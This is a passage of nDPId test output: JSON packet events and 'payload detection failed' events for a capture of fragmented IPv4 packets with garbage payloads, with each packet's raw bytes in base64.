+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130763,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 